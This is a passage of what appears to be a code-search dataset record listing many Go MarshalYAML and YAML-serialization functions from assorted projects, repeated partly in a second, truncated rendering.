like","value":["func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(o, o.low)\n\treturn nb.Render(), nil\n}","func (o Op) MarshalYAML() (interface{}, error) {\n\treturn map[string]interface{}{\n\t\to.Type(): o.OpApplier,\n\t}, nil\n}","func (c *Components) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(c, c.low)\n\treturn nb.Render(), nil\n}","func (p *Parameter) MarshalYAML() (interface{}, error) {\n\tnb := high.NewNodeBuilder(p, p.low)\n\treturn nb.Render(), nil\n}","func (r OAuthFlow) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"authorizationUrl\"] = r.AuthorizationURL\n\n\tobj[\"tokenUrl\"] = r.TokenURL\n\n\tif r.RefreshURL != \"\" {\n\t\tobj[\"refreshUrl\"] = r.RefreshURL\n\t}\n\n\tobj[\"scopes\"] = r.Scopes\n\n\tfor key, val := range r.Extensions {\n\t\tobj[key] = val\n\t}\n\n\treturn obj, nil\n}","func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\n\treturn m.String(), nil\n}","func (op OpRetain) MarshalYAML() (interface{}, error) {\n\treturn op.Fields, nil\n}","func (r RetryConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyRetryConfig{\n\t\tOutput: r.Output,\n\t\tConfig: r.Config,\n\t}\n\tif r.Output == nil {\n\t\tdummy.Output = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\n\treturn export.ToData(), nil\n}","func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (s GitEvent) MarshalYAML() (interface{}, error) {\n\treturn toString[s], nil\n}","func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}","func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}","func (ep Endpoint) MarshalYAML() (interface{}, error) {\n\ts, err := ep.toString()\n\treturn s, err\n}","func (o *Output) MarshalYAML() (interface{}, error) {\n\tif o.ShowValue {\n\t\treturn withvalue(*o), nil\n\t}\n\to.Value = nil // explicitly make empty\n\to.Sensitive = false // explicitly make empty\n\treturn *o, nil\n}","func (n Nil) MarshalYAML() (interface{}, error) {\n\treturn nil, nil\n}","func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\n\treturn approvalStrategyToString[a], nil\n\t//buffer := bytes.NewBufferString(`\"`)\n\t//buffer.WriteString(approvalStrategyToString[*s])\n\t//buffer.WriteString(`\"`)\n\t//return buffer.Bytes(), nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (re Regexp) MarshalYAML() (interface{}, error) {\n\tif re.original != \"\" {\n\t\treturn re.original, nil\n\t}\n\treturn nil, nil\n}","func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(d)\n}","func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}","func (i Instance) MarshalYAML() (interface{}, error) {\n\treturn i.Vars, nil\n}","func Marshal(v interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\tenc := yaml.NewEncoder(&buf)\n\tenc.SetIndent(2)\n\terr := enc.Encode(v)\n\treturn buf.Bytes(), err\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (s Secret) MarshalYAML() (interface{}, error) {\n\tif s != \"\" {\n\t\treturn \"\", nil\n\t}\n\treturn nil, nil\n}","func (z Z) MarshalYAML() (interface{}, error) {\n\ttype Z struct {\n\t\tS string `json:\"s\"`\n\t\tI int32 `json:\"iVal\"`\n\t\tHash string\n\t\tMultiplyIByTwo int64 `json:\"multipliedByTwo\"`\n\t}\n\tvar enc Z\n\tenc.S = z.S\n\tenc.I = z.I\n\tenc.Hash = z.Hash()\n\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\n\treturn &enc, nil\n}","func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}","func (bc *ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(AtomicLoadByteCount(bc)), nil\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (d LegacyDec) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (f Flag) MarshalYAML() (interface{}, error) {\n\treturn f.Name, nil\n}","func (b *Backend) MarshalYAML() (interface{}, error) {\n\tb.mu.RLock()\n\tdefer b.mu.RUnlock()\n\n\tpayload := struct {\n\t\tAddress string\n\t\tDisabledUntil time.Time `yaml:\"disabledUntil\"`\n\t\tForcePromotionsAfter time.Duration `yaml:\"forcePromotionsAfter\"`\n\t\tLatency time.Duration `yaml:\"latency\"`\n\t\tMaxConnections int `yaml:\"maxConnections\"`\n\t\tTier int `yaml:\"tier\"`\n\t}{\n\t\tAddress: b.addr.String(),\n\t\tDisabledUntil: b.mu.disabledUntil,\n\t\tForcePromotionsAfter: b.mu.forcePromotionAfter,\n\t\tLatency: b.mu.lastLatency,\n\t\tMaxConnections: b.mu.maxConnections,\n\t\tTier: b.mu.tier,\n\t}\n\treturn payload, nil\n}","func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (p Params) MarshalYAML() (interface{}, error) {\n\treturn p.String(), nil\n}","func (key PrivateKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}","func (i UOM) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (f Fixed8) MarshalYAML() (interface{}, error) {\n\treturn f.String(), nil\n}","func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}","func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}","func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}","func (b ByteCount) MarshalYAML() (interface{}, error) {\n\treturn uint64(b), nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\treturn u.String(), nil\n}","func (d Rate) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (i Interface) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}","func (v Validator) MarshalYAML() (interface{}, error) {\n\tbs, err := yaml.Marshal(struct {\n\t\tStatus sdk.BondStatus\n\t\tJailed bool\n\t\tUnbondingHeight int64\n\t\tConsPubKey string\n\t\tOperatorAddress sdk.ValAddress\n\t\tTokens sdk.Int\n\t\tDelegatorShares sdk.Dec\n\t\tDescription Description\n\t\tUnbondingCompletionTime time.Time\n\t\tCommission Commission\n\t\tMinSelfDelegation sdk.Dec\n\t}{\n\t\tOperatorAddress: v.OperatorAddress,\n\t\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\n\t\tJailed: v.Jailed,\n\t\tStatus: v.Status,\n\t\tTokens: v.Tokens,\n\t\tDelegatorShares: v.DelegatorShares,\n\t\tDescription: v.Description,\n\t\tUnbondingHeight: v.UnbondingHeight,\n\t\tUnbondingCompletionTime: v.UnbondingCompletionTime,\n\t\tCommission: v.Commission,\n\t\tMinSelfDelegation: v.MinSelfDelegation,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), nil\n}","func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}","func (r ParseKind) MarshalYAML() ([]byte, error) {\n\tif s, ok := interface{}(r).(fmt.Stringer); ok {\n\t\treturn yaml.Marshal(s.String())\n\t}\n\ts, ok := _ParseKindValueToName[r]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"invalid ParseKind: %d\", r)\n\t}\n\treturn yaml.Marshal(s)\n}","func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}","func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}","func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}","func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}","func (schema SchemaType) MarshalYAML() (interface{}, error) {\n\treturn schema.String(), nil\n}","func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}","func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}","func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}","func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}","func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}","func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}","func (op OpRemove) MarshalYAML() (interface{}, error) {\n\treturn op.Field.String(), nil\n}","func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}","func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\n\trequestYaml, err := yaml.MarshalContext(ctx, obj)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfile, err := parser.ParseBytes(requestYaml, 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// normalize the structure converting the byte slice fields to string\n\tfor _, path := range paths {\n\t\tpathString, err := yaml.PathString(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvar byteSlice []byte\n\t\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\n\t\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif err := pathString.ReplaceWithReader(file,\n\t\t\tstrings.NewReader(string(byteSlice)),\n\t\t); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn file.String(), nil\n}","func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}","func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}","func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}","func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func (f Float64) MarshalYAML() (interface{}, error) {\n\tif !f.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn f.value, nil\n}","func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}","func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}","func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: cva.AccountNumber,\n\t\tPubKey: getPKString(cva),\n\t\tSequence: cva.Sequence,\n\t\tOriginalVesting: cva.OriginalVesting,\n\t\tDelegatedFree: cva.DelegatedFree,\n\t\tDelegatedVesting: cva.DelegatedVesting,\n\t\tEndTime: cva.EndTime,\n\t\tStartTime: cva.StartTime,\n\t}\n\treturn marshalYaml(out)\n}","func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}","func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func MarshalUnmarshal(in interface{}, out interface{}) error {\n\t// struct -> yaml -> map for easy access\n\trdr, err := Marshal(in)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn Unmarshal(rdr, out)\n}","func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: pva.AccountNumber,\n\t\tPubKey: getPKString(pva),\n\t\tSequence: pva.Sequence,\n\t\tOriginalVesting: pva.OriginalVesting,\n\t\tDelegatedFree: pva.DelegatedFree,\n\t\tDelegatedVesting: pva.DelegatedVesting,\n\t\tEndTime: pva.EndTime,\n\t\tStartTime: pva.StartTime,\n\t\tVestingPeriods: pva.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}","func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}","func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}","func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\n\tvar bs []byte\n\tvar err error\n\tvar pubkey string\n\n\tif vva.PubKey != nil {\n\t\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tbs, err = yaml.Marshal(struct {\n\t\tAddress sdk.AccAddress\n\t\tCoins sdk.Coins\n\t\tPubKey string\n\t\tAccountNumber uint64\n\t\tSequence uint64\n\t\tOriginalVesting sdk.Coins\n\t\tDelegatedFree sdk.Coins\n\t\tDelegatedVesting sdk.Coins\n\t\tEndTime int64\n\t\tStartTime int64\n\t\tVestingPeriods vestingtypes.Periods\n\t\tValidatorAddress sdk.ConsAddress\n\t\tReturnAddress sdk.AccAddress\n\t\tSigningThreshold int64\n\t\tCurrentPeriodProgress CurrentPeriodProgress\n\t\tVestingPeriodProgress []VestingProgress\n\t\tDebtAfterFailedVesting sdk.Coins\n\t}{\n\t\tAddress: vva.Address,\n\t\tCoins: vva.Coins,\n\t\tPubKey: pubkey,\n\t\tAccountNumber: vva.AccountNumber,\n\t\tSequence: vva.Sequence,\n\t\tOriginalVesting: vva.OriginalVesting,\n\t\tDelegatedFree: vva.DelegatedFree,\n\t\tDelegatedVesting: vva.DelegatedVesting,\n\t\tEndTime: vva.EndTime,\n\t\tStartTime: vva.StartTime,\n\t\tVestingPeriods: vva.VestingPeriods,\n\t\tValidatorAddress: vva.ValidatorAddress,\n\t\tReturnAddress: vva.ReturnAddress,\n\t\tSigningThreshold: vva.SigningThreshold,\n\t\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\n\t\tVestingPeriodProgress: vva.VestingPeriodProgress,\n\t\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bs), err\n}","func (d DurationMillis) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Millisecond), nil\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}","func Dump(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}","func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}","func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}","func (c *Config) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}","func SPrintYAML(a interface{}) (string, error) {\n\tb, err := MarshalJSON(a)\n\t// doing yaml this way because at times you have nested proto structs\n\t// that need to be cleaned.\n\tyam, err := yamlconv.JSONToYAML(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(yam), nil\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}","func ToYAML(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}","func MarshalYAMLWithDescriptions(val interface{}) (interface{}, error) {\n\ttp := reflect.TypeOf(val)\n\tif tp.Kind() == reflect.Ptr {\n\t\ttp = tp.Elem()\n\t}\n\n\tif tp.Kind() != reflect.Struct {\n\t\treturn nil, fmt.Errorf(\"only structs are supported\")\n\t}\n\n\tv := reflect.ValueOf(val)\n\tif v.Kind() == reflect.Ptr {\n\t\tv = v.Elem()\n\t}\n\n\tb, err := yaml.Marshal(v.Interface())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar node yaml.Node\n\terr = yaml.Unmarshal(b, &node)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !DisableYAMLMarshalComments {\n\t\tfor _, n := range node.Content[0].Content {\n\t\t\tfor i := 0; i < v.NumField(); i++ {\n\t\t\t\tfieldType := tp.Field(i)\n\t\t\t\tname := strings.Split(fieldType.Tag.Get(\"yaml\"), \",\")[0]\n\n\t\t\t\tif name == \"\" {\n\t\t\t\t\tname = fieldType.Name\n\t\t\t\t}\n\n\t\t\t\tif n.Value == name {\n\t\t\t\t\tdesc := fieldType.Tag.Get(\"description\")\n\t\t\t\t\tn.HeadComment = wordwrap.WrapString(desc, 80) + \".\"\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tnode.Kind = yaml.MappingNode\n\tnode.Content = node.Content[0].Content\n\n\treturn &node, nil\n}","func (a *AppConfig) Dump() ([]byte, error) {\n\tb, err := yaml.Marshal(a)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn b, nil\n}","func ToYaml(objs []runtime.Object) ([]byte, error) {\n\tvar out bytes.Buffer\n\tfor _, obj := range objs {\n\t\t// the idea is from https://github.com/ant31/crd-validation/blob/master/pkg/cli-utils.go\n\t\tbs, err := json.Marshal(obj)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar us unstructured.Unstructured\n\t\tif err := json.Unmarshal(bs, &us.Object); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tunstructured.RemoveNestedField(us.Object, \"status\")\n\n\t\tbs, err = yaml.Marshal(us.Object)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tout.WriteString(\"---\\n\")\n\t\tout.Write(bs)\n\t\tout.WriteString(\"\\n\")\n\t}\n\treturn out.Bytes(), nil\n}"],"string":"[\n \"func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(o, o.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (o Op) MarshalYAML() (interface{}, error) {\\n\\treturn map[string]interface{}{\\n\\t\\to.Type(): o.OpApplier,\\n\\t}, nil\\n}\",\n \"func (c *Components) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(c, c.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (p *Parameter) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(p, p.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (r OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"authorizationUrl\\\"] = r.AuthorizationURL\\n\\n\\tobj[\\\"tokenUrl\\\"] = r.TokenURL\\n\\n\\tif r.RefreshURL != \\\"\\\" {\\n\\t\\tobj[\\\"refreshUrl\\\"] = r.RefreshURL\\n\\t}\\n\\n\\tobj[\\\"scopes\\\"] = r.Scopes\\n\\n\\tfor key, val := range r.Extensions {\\n\\t\\tobj[key] = val\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\\n\\treturn m.String(), nil\\n}\",\n \"func (op OpRetain) MarshalYAML() (interface{}, error) {\\n\\treturn op.Fields, nil\\n}\",\n \"func (r RetryConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyRetryConfig{\\n\\t\\tOutput: r.Output,\\n\\t\\tConfig: r.Config,\\n\\t}\\n\\tif r.Output == nil {\\n\\t\\tdummy.Output = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\\n\\treturn export.ToData(), nil\\n}\",\n \"func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (s GitEvent) MarshalYAML() (interface{}, error) {\\n\\treturn toString[s], nil\\n}\",\n \"func (d *Discriminator) MarshalYAML() (interface{}, error) {\\n\\tnb := low2.NewNodeBuilder(d, d.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\\n\\tif len(extensions) == 0 {\\n\\t\\treturn v, nil\\n\\t}\\n\\tmarshaled, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar unmarshaled map[string]interface{}\\n\\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfor k, v := range extensions {\\n\\t\\tunmarshaled[k] = v\\n\\t}\\n\\treturn unmarshaled, nil\\n}\",\n \"func (ep Endpoint) MarshalYAML() (interface{}, error) {\\n\\ts, err := ep.toString()\\n\\treturn s, err\\n}\",\n \"func (o *Output) MarshalYAML() (interface{}, error) {\\n\\tif o.ShowValue {\\n\\t\\treturn withvalue(*o), nil\\n\\t}\\n\\to.Value = nil // explicitly make empty\\n\\to.Sensitive = false // explicitly make empty\\n\\treturn *o, nil\\n}\",\n \"func (n Nil) MarshalYAML() (interface{}, error) {\\n\\treturn nil, nil\\n}\",\n \"func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\\n\\treturn approvalStrategyToString[a], nil\\n\\t//buffer := bytes.NewBufferString(`\\\"`)\\n\\t//buffer.WriteString(approvalStrategyToString[*s])\\n\\t//buffer.WriteString(`\\\"`)\\n\\t//return buffer.Bytes(), nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, 